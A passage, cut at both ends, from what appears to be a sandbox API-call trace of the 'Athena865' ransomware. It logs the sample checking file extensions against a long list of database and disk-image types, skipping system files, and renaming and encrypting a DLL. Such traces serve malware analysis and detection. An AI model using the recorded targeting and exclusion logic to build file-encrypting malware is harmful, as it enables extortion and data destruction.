lpString2="jtx") returned -1 [0091.558] lstrlenW (lpString="kdb") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0091.559] lstrlenW (lpString="kexi") returned 4 [0091.559] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0091.559] lstrlenW (lpString="kexic") returned 5 [0091.559] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0091.559] lstrlenW (lpString="kexis") returned 5 [0091.559] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0091.559] lstrlenW (lpString="lgc") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0091.559] lstrlenW (lpString="lwx") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0091.559] lstrlenW (lpString="maf") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0091.559] lstrlenW (lpString="maq") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0091.559] lstrlenW (lpString="mar") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0091.559] lstrlenW (lpString="marshal") returned 7 [0091.559] lstrcmpiW (lpString1="ice.dll", lpString2="marshal") returned -1 [0091.559] lstrlenW (lpString="mas") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0091.559] lstrlenW (lpString="mav") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0091.559] lstrlenW (lpString="maw") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0091.559] lstrlenW (lpString="mdbhtml") returned 7 [0091.559] lstrcmpiW (lpString1="ice.dll", lpString2="mdbhtml") returned -1 [0091.559] lstrlenW (lpString="mdn") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0091.559] lstrlenW (lpString="mdt") returned 3 [0091.559] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0091.560] lstrlenW (lpString="mfd") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0091.560] lstrlenW (lpString="mpd") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0091.560] lstrlenW (lpString="mrg") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0091.560] lstrlenW (lpString="mud") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0091.560] lstrlenW (lpString="mwb") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0091.560] lstrlenW (lpString="myd") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0091.560] lstrlenW (lpString="ndf") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0091.560] lstrlenW (lpString="nnt") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0091.560] lstrlenW (lpString="nrmlib") returned 6 [0091.560] lstrcmpiW (lpString1="ce.dll", lpString2="nrmlib") returned -1 [0091.560] lstrlenW (lpString="ns2") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0091.560] lstrlenW (lpString="ns3") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0091.560] lstrlenW (lpString="ns4") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0091.560] lstrlenW (lpString="nsf") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0091.560] lstrlenW (lpString="nv") returned 2 [0091.560] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0091.560] lstrlenW (lpString="nv2") returned 3 [0091.560] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0091.560] lstrlenW (lpString="nwdb") returned 4 [0091.560] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0091.561] lstrlenW (lpString="nyf") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0091.561] lstrlenW (lpString="odb") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0091.561] lstrlenW (lpString="odb") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0091.561] lstrlenW (lpString="oqy") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0091.561] lstrlenW (lpString="ora") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0091.561] lstrlenW (lpString="orx") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0091.561] lstrlenW (lpString="owc") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0091.561] lstrlenW (lpString="p96") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0091.561] lstrlenW (lpString="p97") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0091.561] lstrlenW (lpString="pan") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0091.561] lstrlenW (lpString="pdb") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0091.561] lstrlenW (lpString="pdm") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0091.561] lstrlenW (lpString="pnz") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0091.561] lstrlenW (lpString="qry") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0091.561] lstrlenW (lpString="qvd") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0091.561] lstrlenW (lpString="rbf") returned 3 [0091.561] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0091.562] lstrlenW (lpString="rctd") returned 4 [0091.562] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0091.562] lstrlenW (lpString="rod") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0091.562] lstrlenW (lpString="rodx") returned 4 [0091.562] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0091.562] lstrlenW (lpString="rpd") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0091.562] lstrlenW (lpString="rsd") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0091.562] lstrlenW (lpString="sas7bdat") returned 8 [0091.562] lstrcmpiW (lpString1="vice.dll", lpString2="sas7bdat") returned 1 [0091.562] lstrlenW (lpString="sbf") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0091.562] lstrlenW (lpString="scx") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0091.562] lstrlenW (lpString="sdb") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0091.562] lstrlenW (lpString="sdc") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0091.562] lstrlenW (lpString="sdf") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0091.562] lstrlenW (lpString="sis") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0091.562] lstrlenW (lpString="spq") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0091.562] lstrlenW (lpString="te") returned 2 [0091.562] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0091.562] lstrlenW (lpString="teacher") returned 7 [0091.562] lstrcmpiW (lpString1="ice.dll", lpString2="teacher") returned -1 [0091.562] lstrlenW (lpString="tmd") returned 3 [0091.562] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0091.563] lstrlenW (lpString="tps") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0091.563] lstrlenW (lpString="trc") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0091.563] lstrlenW (lpString="trc") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0091.563] lstrlenW (lpString="trm") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0091.563] lstrlenW (lpString="udb") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0091.563] lstrlenW (lpString="udl") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0091.563] lstrlenW (lpString="usr") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0091.563] lstrlenW (lpString="v12") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0091.563] lstrlenW (lpString="vis") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0091.563] lstrlenW (lpString="vpd") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0091.563] lstrlenW (lpString="vvv") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0091.563] lstrlenW (lpString="wdb") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0091.563] lstrlenW (lpString="wmdb") returned 4 [0091.563] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0091.563] lstrlenW (lpString="wrk") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0091.563] lstrlenW (lpString="xdb") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0091.563] lstrlenW (lpString="xld") returned 3 [0091.563] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0091.564] lstrlenW (lpString="xmlff") returned 5 [0091.564] lstrcmpiW (lpString1="e.dll", lpString2="xmlff") returned -1 [0091.564] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows NT\\TableTextService\\TableTextService.dll.Athena865") returned 75 [0091.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextService.dll" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservice.dll"), lpNewFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextService.dll.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservice.dll.athena865"), dwFlags=0x1) returned 1 [0091.564] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\TableTextService\\TableTextService.dll.Athena865" (normalized: "c:\\program files\\windows nt\\tabletextservice\\tabletextservice.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0091.564] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=375808) returned 1 [0091.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0091.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d2a0 [0091.565] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518f80 [0091.565] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518ef8) returned 1 [0091.566] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0091.566] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.566] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5bf00, lpName=0x0) returned 0x154 [0091.566] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5bf00) returned 0x2d50000 [0091.582] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518ef8) returned 1 [0091.583] CryptGenRandom (in: hProv=0x518ef8, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0091.583] CryptReleaseContext (hProv=0x518ef8, dwFlags=0x0) returned 1 [0091.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d228 [0091.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d228 | out: hHeap=0x4f0000) returned 1 [0091.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0091.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0091.583] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0091.583] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0091.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0091.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0091.584] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0091.584] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0091.587] CloseHandle (hObject=0x154) returned 1 [0091.587] CloseHandle (hObject=0x17c) returned 1 [0091.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d2a0 | out: hHeap=0x4f0000) returned 1 [0091.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518f80 | out: hHeap=0x4f0000) returned 1 [0091.587] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0091.589] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72d933d2, ftCreationTime.dwHighDateTime=0x1ca0400, ftLastAccessTime.dwLowDateTime=0x72d933d2, ftLastAccessTime.dwHighDateTime=0x1ca0400, ftLastWriteTime.dwLowDateTime=0x6e10ff3, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x3f54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TableTextServiceAmharic.txt", cAlternateFileName="")) returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="..") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="windows") returned -1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="bootmgr") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="temp") returned -1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="pagefile.sys") returned 1 [0091.589] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="boot") returned 1 [0091.590] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ids.txt") returned 1 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="ntuser.dat") returned 1 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="perflogs") returned 1 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2="MSBuild") returned 1 [0091.591] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0091.591] lstrcpyW (in: lpString1=0x241e8a2, lpString2="TableTextServiceAmharic.txt" | out: lpString1="TableTextServiceAmharic.txt") returned="TableTextServiceAmharic.txt" [0091.591] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0091.591] lstrlenW (lpString="Athena865") returned 9 [0091.591] lstrcmpiW (lpString1="haric.txt", lpString2="Athena865") returned 1 [0091.591] lstrlenW (lpString=".dll") returned 4 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".dll") returned 1 [0091.591] lstrlenW (lpString=".lnk") returned 4 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".lnk") returned 1 [0091.591] lstrlenW (lpString=".ini") returned 4 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".ini") returned 1 [0091.591] lstrlenW (lpString=".sys") returned 4 [0091.591] lstrcmpiW (lpString1="TableTextServiceAmharic.txt", lpString2=".sys") returned 1 [0091.591] lstrlenW (lpString="TableTextServiceAmharic.txt") returned 27 [0091.591] lstrlenW (lpString="bak") returned 3 [0091.591] lstrcmpiW (lpString1="txt", lpString2="bak") returned 1 [0091.591] lstrlenW (lpString="ba_") returned 3 [0091.591] lstrcmpiW (lpString1="txt", lpString2="ba_") returned 1 [0091.591] lstrlenW (lpString="dbb") returned 3 [0091.591] lstrcmpiW (lpString1="txt", lpString2="dbb") returned 1 [0091.591] lstrlenW (lpString="vmdk") returned 4 [0091.591] lstrcmpiW (lpString1=".txt", lpString2="vmdk") returned -1 [0091.591] lstrlenW (lpString="rar") returned 3 [0091.591] lstrcmpiW (lpString1="txt", lpString2="rar") returned 1 [0091.591] lstrlenW (lpString="zip") returned 3 [0091.591] lstrcmpiW (lpString1="txt", lpString2="zip") returned -1 [0091.592] lstrlenW (lpString="tgz") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="tgz") returned 1 [0091.592] lstrlenW (lpString="vbox") returned 4 [0091.592] lstrcmpiW (lpString1=".txt", lpString2="vbox") returned -1 [0091.592] lstrlenW (lpString="vdi") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="vdi") returned -1 [0091.592] lstrlenW (lpString="vhd") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="vhd") returned -1 [0091.592] lstrlenW (lpString="vhdx") returned 4 [0091.592] lstrcmpiW (lpString1=".txt", lpString2="vhdx") returned -1 [0091.592] lstrlenW (lpString="avhd") returned 4 [0091.592] lstrcmpiW (lpString1=".txt", lpString2="avhd") returned -1 [0091.592] lstrlenW (lpString="db") returned 2 [0091.592] lstrcmpiW (lpString1="xt", lpString2="db") returned 1 [0091.592] lstrlenW (lpString="db2") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="db2") returned 1 [0091.592] lstrlenW (lpString="db3") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="db3") returned 1 [0091.592] lstrlenW (lpString="dbf") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="dbf") returned 1 [0091.592] lstrlenW (lpString="mdf") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="mdf") returned 1 [0091.592] lstrlenW (lpString="mdb") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="mdb") returned 1 [0091.592] lstrlenW (lpString="sql") returned 3 [0091.592] lstrcmpiW (lpString1="txt", lpString2="sql") returned 1 [0091.592] lstrlenW (lpString="sqlite") returned 6 [0091.592] lstrcmpiW (lpString1="ic.txt", lpString2="sqlite") returned -1 [0091.592] lstrlenW (lpString="sqlite3") returned 7 [0091.592] lstrcmpiW (lpString1="ric.txt", lpString2="sqlite3") returned -1 [0091.592] lstrlenW (lpString="sqlitedb") returned 8 [0091.593] lstrcmpiW (lpString1="aric.txt", lpString2="sqlitedb") returned -1 [0091.593] lstrlenW (lpString="xml") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="xml") returned -1 [0091.593] lstrlenW (lpString="$er") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="$er") returned 1 [0091.593] lstrlenW (lpString="4dd") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="4dd") returned 1 [0091.593] lstrlenW (lpString="4dl") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="4dl") returned 1 [0091.593] lstrlenW (lpString="^^^") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="^^^") returned 1 [0091.593] lstrlenW (lpString="abs") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="abs") returned 1 [0091.593] lstrlenW (lpString="abx") returned 3 [0091.593] lstrcmpiW (lpString1="txt", lpString2="abx") returned 1 [0091.593] lstrlenW (lpString="accdb") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accdb") returned 1 [0091.593] lstrlenW (lpString="accdc") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accdc") returned 1 [0091.593] lstrlenW (lpString="accde") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accde") returned 1 [0091.593] lstrlenW (lpString="accdr") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accdr") returned 1 [0091.593] lstrlenW (lpString="accdt") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accdt") returned 1 [0091.593] lstrlenW (lpString="accdw") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accdw") returned 1 [0091.593] lstrlenW (lpString="accft") returned 5 [0091.593] lstrcmpiW (lpString1="c.txt", lpString2="accft") returned 1 [0091.593] lstrlenW (lpString="adb") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.594] lstrlenW (lpString="adb") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="adb") returned 1 [0091.594] lstrlenW (lpString="ade") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="ade") returned 1 [0091.594] lstrlenW (lpString="adf") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="adf") returned 1 [0091.594] lstrlenW (lpString="adn") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="adn") returned 1 [0091.594] lstrlenW (lpString="adp") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="adp") returned 1 [0091.594] lstrlenW (lpString="alf") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="alf") returned 1 [0091.594] lstrlenW (lpString="ask") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="ask") returned 1 [0091.594] lstrlenW (lpString="btr") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="btr") returned 1 [0091.594] lstrlenW (lpString="cat") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="cat") returned 1 [0091.594] lstrlenW (lpString="cdb") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="cdb") returned 1 [0091.594] lstrlenW (lpString="ckp") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="ckp") returned 1 [0091.594] lstrlenW (lpString="cma") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="cma") returned 1 [0091.594] lstrlenW (lpString="cpd") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="cpd") returned 1 [0091.594] lstrlenW (lpString="dacpac") returned 6 [0091.594] lstrcmpiW (lpString1="ic.txt", lpString2="dacpac") returned 1 [0091.594] lstrlenW (lpString="dad") returned 3 [0091.594] lstrcmpiW (lpString1="txt", lpString2="dad") returned 1 [0091.594] lstrlenW (lpString="dadiagrams") returned 10 [0091.595] lstrcmpiW (lpString1="mharic.txt", lpString2="dadiagrams") returned 1 [0091.595] lstrlenW (lpString="daschema") returned 8 [0091.595] lstrcmpiW (lpString1="aric.txt", lpString2="daschema") returned -1 [0091.595] lstrlenW (lpString="db-journal") returned 10 [0091.595] lstrcmpiW (lpString1="mharic.txt", lpString2="db-journal") returned 1 [0091.595] lstrlenW (lpString="db-shm") returned 6 [0091.595] lstrcmpiW (lpString1="ic.txt", lpString2="db-shm") returned 1 [0091.595] lstrlenW (lpString="db-wal") returned 6 [0091.595] lstrcmpiW (lpString1="ic.txt", lpString2="db-wal") returned 1 [0091.595] lstrlenW (lpString="dbc") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dbc") returned 1 [0091.595] lstrlenW (lpString="dbs") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dbs") returned 1 [0091.595] lstrlenW (lpString="dbt") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dbt") returned 1 [0091.595] lstrlenW (lpString="dbv") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dbv") returned 1 [0091.595] lstrlenW (lpString="dbx") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dbx") returned 1 [0091.595] lstrlenW (lpString="dcb") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dcb") returned 1 [0091.595] lstrlenW (lpString="dct") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dct") returned 1 [0091.595] lstrlenW (lpString="dcx") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="dcx") returned 1 [0091.595] lstrlenW (lpString="ddl") returned 3 [0091.595] lstrcmpiW (lpString1="txt", lpString2="ddl") returned 1 [0091.595] lstrlenW (lpString="dlis") returned 4 [0091.595] lstrcmpiW (lpString1=".txt", lpString2="dlis") returned -1 [0091.595] lstrlenW (lpString="dp1") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="dp1") returned 1 [0091.596] lstrlenW (lpString="dqy") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="dqy") returned 1 [0091.596] lstrlenW (lpString="dsk") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="dsk") returned 1 [0091.596] lstrlenW (lpString="dsn") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="dsn") returned 1 [0091.596] lstrlenW (lpString="dtsx") returned 4 [0091.596] lstrcmpiW (lpString1=".txt", lpString2="dtsx") returned -1 [0091.596] lstrlenW (lpString="dxl") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="dxl") returned 1 [0091.596] lstrlenW (lpString="eco") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="eco") returned 1 [0091.596] lstrlenW (lpString="ecx") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="ecx") returned 1 [0091.596] lstrlenW (lpString="edb") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="edb") returned 1 [0091.596] lstrlenW (lpString="epim") returned 4 [0091.596] lstrcmpiW (lpString1=".txt", lpString2="epim") returned -1 [0091.596] lstrlenW (lpString="fcd") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="fcd") returned 1 [0091.596] lstrlenW (lpString="fdb") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="fdb") returned 1 [0091.596] lstrlenW (lpString="fic") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="fic") returned 1 [0091.596] lstrlenW (lpString="flexolibrary") returned 12 [0091.596] lstrcmpiW (lpString1="eAmharic.txt", lpString2="flexolibrary") returned -1 [0091.596] lstrlenW (lpString="fm5") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="fm5") returned 1 [0091.596] lstrlenW (lpString="fmp") returned 3 [0091.596] lstrcmpiW (lpString1="txt", lpString2="fmp") returned 1 [0091.597] lstrlenW (lpString="fmp12") returned 5 [0091.597] lstrcmpiW (lpString1="c.txt", lpString2="fmp12") returned -1 [0091.597] lstrlenW (lpString="fmpsl") returned 5 [0091.597] lstrcmpiW (lpString1="c.txt", lpString2="fmpsl") returned -1 [0091.597] lstrlenW (lpString="fol") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fol") returned 1 [0091.597] lstrlenW (lpString="fp3") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fp3") returned 1 [0091.597] lstrlenW (lpString="fp4") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fp4") returned 1 [0091.597] lstrlenW (lpString="fp5") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fp5") returned 1 [0091.597] lstrlenW (lpString="fp7") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fp7") returned 1 [0091.597] lstrlenW (lpString="fpt") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="fpt") returned 1 [0091.597] lstrlenW (lpString="frm") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="frm") returned 1 [0091.597] lstrlenW (lpString="gdb") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.597] lstrlenW (lpString="gdb") returned 3 [0091.597] lstrcmpiW (lpString1="txt", lpString2="gdb") returned 1 [0091.597] lstrlenW (lpString="grdb") returned 4 [0091.597] lstrcmpiW (lpString1=".txt", lpString2="grdb") returned -1 [0091.597] lstrlenW (lpString="gwi") returned 3 [0091.597] lstrcmpiW 